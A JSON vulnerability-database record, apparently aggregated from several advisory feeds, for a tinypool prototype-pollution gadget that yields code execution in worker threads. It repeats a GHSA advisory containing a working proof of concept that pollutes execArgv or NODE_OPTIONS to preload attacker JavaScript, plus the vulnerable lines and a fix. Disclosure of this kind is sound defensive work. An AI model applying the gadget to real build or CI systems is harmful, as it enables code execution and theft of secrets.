{"id":"CVE-2026-104848","aliases":["CLSA-2026-1792490437","CLSA-2026-1792490541","EUVD-2026-91718","GHSA-5gmw-xhrv-c9v3","ROOT-APP-NPM-CVE-2026-104848"],"status":"published","title":"Tinypool: Prototype Pollution gadget in worker options leads to Remote Code Execution","description":"Tinypool is a minimal Node.js worker thread pool implementation. Prior to 2.1.1, Tinypool constructs ThreadPool.options from a normal options object and reads the execArgv and env worker options in dist/index.js, allowing values inherited from a polluted Object.prototype to be copied into own properties and passed to worker_threads.Worker. An attacker who can first pollute either property can cause each newly spawned worker to load attacker-selected JavaScript through command-line preload arguments or NODE_OPTIONS, resulting in code execution with the host process's privileges and possible access to CI secrets, signing material, or build artifacts. This issue is fixed in version 2.1.1.","severity":{"version":"4.0","score":9.5,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00497,"percentile":0.43147,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-1321"],"published":"2026-10-02T16:15:04Z","modified":"2026-10-28T02:31:09Z","fixes":[{"ecosystem":"npm","package":"tinypool","fixed_in":["2.1.1"],"sources":["ghsa","osv"]},{"ecosystem":"Root:npm","package":"tinypool","fixed_in":["1.1.1-aikido.3","0.8.4-aikido.3"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"@rootio/tinypool","fixed_in":["1.1.1-root.io.3","0.8.4-root.io.3"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"tinypool","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2.1.0"},{"fixed":"2.1.1"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"tinypool","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.1.1-tuxcare.0"},{"fixed":"1.1.1-tuxcare.1"}]}],"versions":["1.1.1"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"tinypool","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.1.0-tuxcare.0"},{"fixed":"2.1.0-tuxcare.1"}]}],"versions":["2.1.0"],"bundled":2},{"source":"osv","ecosystem":"npm","package":"tinypool","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.1.1"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"tinypool","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.1.1-aikido.3"},{"fixed":"0.8.4-aikido.3"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/tinypool","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.1.1-root.io.3"},{"fixed":"0.8.4-root.io.3"}]}]}],"products":[{"vendor":"tinylibs","product":"tinypool"}],"references":[{"url":"https://github.com/tinylibs/tinypool/security/advisories/GHSA-5gmw-xhrv-c9v3","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/tinylibs/tinypool/pull/134","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/tinylibs/tinypool/commit/24df4e730e7d0857a6d226c9b58f8924227404fd","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/tinylibs/tinypool/releases/tag/v2.1.1","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-104848","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-5gmw-xhrv-c9v3"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/104xxx/CVE-2026-104848.json","tags":["advisory"]},{"url":"https://github.com/tinylibs/tinypool","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-104848","title":"Tinypool: Prototype Pollution gadget in worker options leads to Remote Code Execution","description":"Tinypool is a minimal Node.js worker thread pool implementation. Prior to 2.1.1, Tinypool constructs ThreadPool.options from a normal options object and reads the execArgv and env worker options in dist/index.js, allowing values inherited from a polluted Object.prototype to be copied into own properties and passed to worker_threads.Worker. An attacker who can first pollute either property can cause each newly spawned worker to load attacker-selected JavaScript through command-line preload arguments or NODE_OPTIONS, resulting in code execution with the host process's privileges and possible access to CI secrets, signing material, or build artifacts. This issue is fixed in version 2.1.1.","status":"published","published":"2026-10-02T16:15:04.101Z","modified":"2026-10-02T17:29:40.5Z","cvss":[{"version":"4.0","score":9.5,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical","assessor":"cna"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T14:20:09.448255Z"}],"euvd":[{"id":"EUVD-2026-91718","description":"Tinypool is a minimal Node.js worker thread pool implementation. Prior to 2.1.1, Tinypool constructs ThreadPool.options from a normal options object and reads the execArgv and env worker options in dist/index.js, allowing values inherited from a polluted Object.prototype to be copied into own properties and passed to worker_threads.Worker. An attacker who can first pollute either property can cause each newly spawned worker to load attacker-selected JavaScript through command-line preload arguments or NODE_OPTIONS, resulting in code execution with the host process's privileges and possible access to CI secrets, signing material, or build artifacts. This issue is fixed in version 2.1.1.","status":"published","published":"2026-10-02T16:15:04Z","modified":"2026-10-02T17:29:40Z","cvss":[{"version":"4.0","score":9.5,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical"}],"updated_at":"2026-11-02T17:27:42.349288Z"}],"ghsa":[{"id":"GHSA-5gmw-xhrv-c9v3","title":"Tinypool: Prototype Pollution gadget in worker options leads to Remote Code Execution","description":"`tinypool` passes worker options to `new Worker()` by reading them off a plain object whose prototype is `Object.prototype`. Options the application did not set are resolved through the prototype chain and then passed explicitly to `worker_threads.Worker`.\n\nNode core ignores `Worker` options inherited from `Object.prototype`. By reading them and passing them explicitly, tinypool re-materialises them as own properties and defeats that protection.\n\n\nTwo keys reach code execution:\n\n1. **`execArgv`** — polluting `Object.prototype.execArgv = ['--require', '/path/to/attacker.js']` causes every pool worker to load the attacker's script.\n2. **`env`** — polluting `Object.prototype.env = { NODE_OPTIONS: '--require /path/to/attacker.js' }` achieves the same via environment injection.\n\n## Root cause\n\n`dist/index.js` lines 508-511:\n\n```js\nenv:            this.options.env,\nargv:           this.options.argv,\nexecArgv:       this.options.execArgv,\nresourceLimits: this.options.resourceLimits,\n```\n\n`this.options` is built at line 470 via object spread:\n\n```js\nthis.options = { ...kDefaultOptions, ...options, filename, maxQueue: 0 };\n```\n\n## Impact\n\nArbitrary code execution inside every worker the pool spawns, with the privileges of the host process. Because tinypool is the worker pool behind Vitest (~42M downloads/week), the natural blast radius is developer machines and CI runners — an attacker who lands a prototype-pollution primitive anywhere in the dependency tree gets code execution in the build/test pipeline, which is a supply-chain foothold (access to CI secrets, signing keys, artifact publishing).\n\n\n## Proof of concept\n\nMinimal reproduction (3 files):\n\n**worker.mjs** — the application's own legitimate worker:\n```js\nexport default function double(n) { return n * 2 }\n```\n\n**payload.js** — attacker-controlled code (never referenced by the app):\n```js\nconst fs = require('fs')\nfs.writeFileSync('/tmp/RCE_PROOF.txt', 'code execution achieved, pid=' + process.pid)\nconsole.log('*** RCE ***')\n```\n\n**app.js** — normal tinypool usage:\n```js\nconst path = require('path')\n\n// Simulates an upstream PP source (lodash/qs/minimist/set-value/deepmerge)\nObject.prototype.execArgv = ['--require', path.join(__dirname, 'payload.js')]\n\nconst { Tinypool } = require('tinypool')\nconst pool = new Tinypool({\n  filename: path.join(__dirname, 'worker.mjs'),\n  minThreads: 1, maxThreads: 1\n})\npool.run(21).then(r =\u003e {\n  console.log('pool returned:', r)  // 42 — app works normally\n  pool.destroy()\n})\n```\n\nRun:\n```\nnpm i tinypool@2.1.0\nnode app.js\ncat /tmp/RCE_PROOF.txt   # attacker's code ran\n```\n\nBoth `execArgv` and `env` vectors confirmed on Node 20.\n\n\n## Suggested fix\n\nResolve worker options with own-property semantics:\n\n```js\nthis.options = Object.assign(Object.create(null),\n  kDefaultOptions, options, { filename, maxQueue: 0 });\n```","status":"published","published":"2026-10-05T22:50:01Z","modified":"2026-10-05T22:50:02Z","cvss":[{"version":"4.0","score":9.5,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T14:41:25.889593Z"}],"nvd":[{"id":"CVE-2026-104848","description":"Tinypool is a minimal Node.js worker thread pool implementation. Prior to 2.1.1, Tinypool constructs ThreadPool.options from a normal options object and reads the execArgv and env worker options in dist/index.js, allowing values inherited from a polluted Object.prototype to be copied into own properties and passed to worker_threads.Worker. An attacker who can first pollute either property can cause each newly spawned worker to load attacker-selected JavaScript through command-line preload arguments or NODE_OPTIONS, resulting in code execution with the host process's privileges and possible access to CI secrets, signing material, or build artifacts. This issue is fixed in version 2.1.1.","status":"published","published":"2026-10-02T17:17:03.473Z","modified":"2026-10-02T18:33:20.487Z","cvss":[{"version":"4.0","score":9.5,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"critical","assessor":"secondary"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T14:12:53.75133Z"}],"osv":[{"id":"CVE-2026-104848","title":"Tinypool: Prototype Pollution gadget in worker options leads to Remote Code Execution","description":"Tinypool is a minimal Node.js worker thread pool implementation. Prior to 2.1.1, Tinypool constructs ThreadPool.options from a normal options object and reads the execArgv and env worker options in dist/index.js, allowing values inherited from a polluted Object.prototype to be copied into own properties and passed to worker_threads.Worker. An attacker who can first pollute either property can cause each newly spawned worker to load attacker-selected JavaScript through command-line preload arguments or NODE_OPTIONS, resulting in code execution with the host process's privileges and possible access to CI secrets, signing material, or build artifacts. This issue is fixed in version 2.1.1.","status":"published","published":"2026-10-02T16:15:04.101Z","modified":"2026-10-28T02:31:09.603335952Z","cvss":[{"version":"4.0","score":9.5,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T15:44:54.236592Z"},{"id":"GHSA-5gmw-xhrv-c9v3","title":"Tinypool: Prototype Pollution gadget in worker options leads to Remote Code Execution","description":"`tinypool` passes worker options to `new Worker()` by reading them off a plain object whose prototype is `Object.prototype`. Options the application did not set are resolved through the prototype chain and then passed explicitly to `worker_threads.Worker`.\n\nNode core ignores `Worker` options inherited from `Object.prototype`. By reading them and passing them explicitly, tinypool re-materialises them as own properties and defeats that protection.\n\n\nTwo keys reach code execution:\n\n1. **`execArgv`** — polluting `Object.prototype.execArgv = ['--require', '/path/to/attacker.js']` causes every pool worker to load the attacker's script.\n2. **`env`** — polluting `Object.prototype.env = { NODE_OPTIONS: '--require /path/to/attacker.js' }` achieves the same via environment injection.\n\n## Root cause\n\n`dist/index.js` lines 508-511:\n\n```js\nenv:            this.options.env,\nargv:           this.options.argv,\nexecArgv:       this.options.execArgv,\nresourceLimits: this.options.resourceLimits,\n```\n\n`this.options` is built at line 470 via object spread:\n\n```js\nthis.options = { ...kDefaultOptions, ...options, filename, maxQueue: 0 };\n```\n\n## Impact\n\nArbitrary code execution inside every worker the pool spawns, with the privileges of the host process. Because tinypool is the worker pool behind Vitest (~42M downloads/week), the natural blast radius is developer machines and CI runners — an attacker who lands a prototype-pollution primitive anywhere in the dependency tree gets code execution in the build/test pipeline, which is a supply-chain foothold (access to CI secrets, signing keys, artifact publishing).\n\n\n## Proof of concept\n\nMinimal reproduction (3 files):\n\n**worker.mjs** — the application's own legitimate worker:\n```js\nexport default function double(n) { return n * 2 }\n```\n\n**payload.js** — attacker-controlled code (never referenced by the app):\n```js\nconst fs = require('fs')\nfs.writeFileSync('/tmp/RCE_PROOF.txt', 'code execution achieved, pid=' + process.pid)\nconsole.log('*** RCE ***')\n```\n\n**app.js** — normal tinypool usage:\n```js\nconst path = require('path')\n\n// Simulates an upstream PP source (lodash/qs/minimist/set-value/deepmerge)\nObject.prototype.execArgv = ['--require', path.join(__dirname, 'payload.js')]\n\nconst { Tinypool } = require('tinypool')\nconst pool = new Tinypool({\n  filename: path.join(__dirname, 'worker.mjs'),\n  minThreads: 1, maxThreads: 1\n})\npool.run(21).then(r =\u003e {\n  console.log('pool returned:', r)  // 42 — app works normally\n  pool.destroy()\n})\n```\n\nRun:\n```\nnpm i tinypool@2.1.0\nnode app.js\ncat /tmp/RCE_PROOF.txt   # attacker's code ran\n```\n\nBoth `execArgv` and `env` vectors confirmed on Node 20.\n\n\n## Suggested fix\n\nResolve worker options with own-property semantics:\n\n```js\nthis.options = Object.assign(Object.create(null),\n  kDefaultOptions, options, { filename, maxQueue: 0 });\n```","status":"published","published":"2026-10-05T22:50:01Z","modified":"2026-10-05T23:00:04.259458991Z","cvss":[{"version":"4.0","score":9.5,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T15:46:38.213481Z"},{"id":"CLSA-2026-1792490437","title":"TuxCare security update for tinypool (2 CVEs)","description":"TuxCare rebuilt tinypool to address 2 CVEs. Fixed in 1.1.1-tuxcare.1.","status":"published","published":"2026-10-20T10:00:37Z","modified":"2026-10-20T13:45:13.44859041Z","updated_at":"2026-11-02T15:43:54.378946Z"},{"id":"CLSA-2026-1792490541","title":"TuxCare security update for tinypool (2 CVEs)","description":"TuxCare rebuilt tinypool to address 2 CVEs. Fixed in 2.1.0-tuxcare.1.","status":"published","published":"2026-10-20T10:02:21Z","modified":"2026-10-20T13:45:13.464637997Z","updated_at":"2026-11-02T15:43:54.378946Z"},{"id":"ROOT-APP-NPM-CVE-2026-104848","title":"CVE-2026-104848 in tinypool - Patched by Root","description":"Root has patched CVE-2026-104848 in the tinypool package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-10-19T04:30:09Z","modified":"2026-10-19T05:15:05.496378889Z","updated_at":"2026-11-02T15:53:27.362922Z"}]}}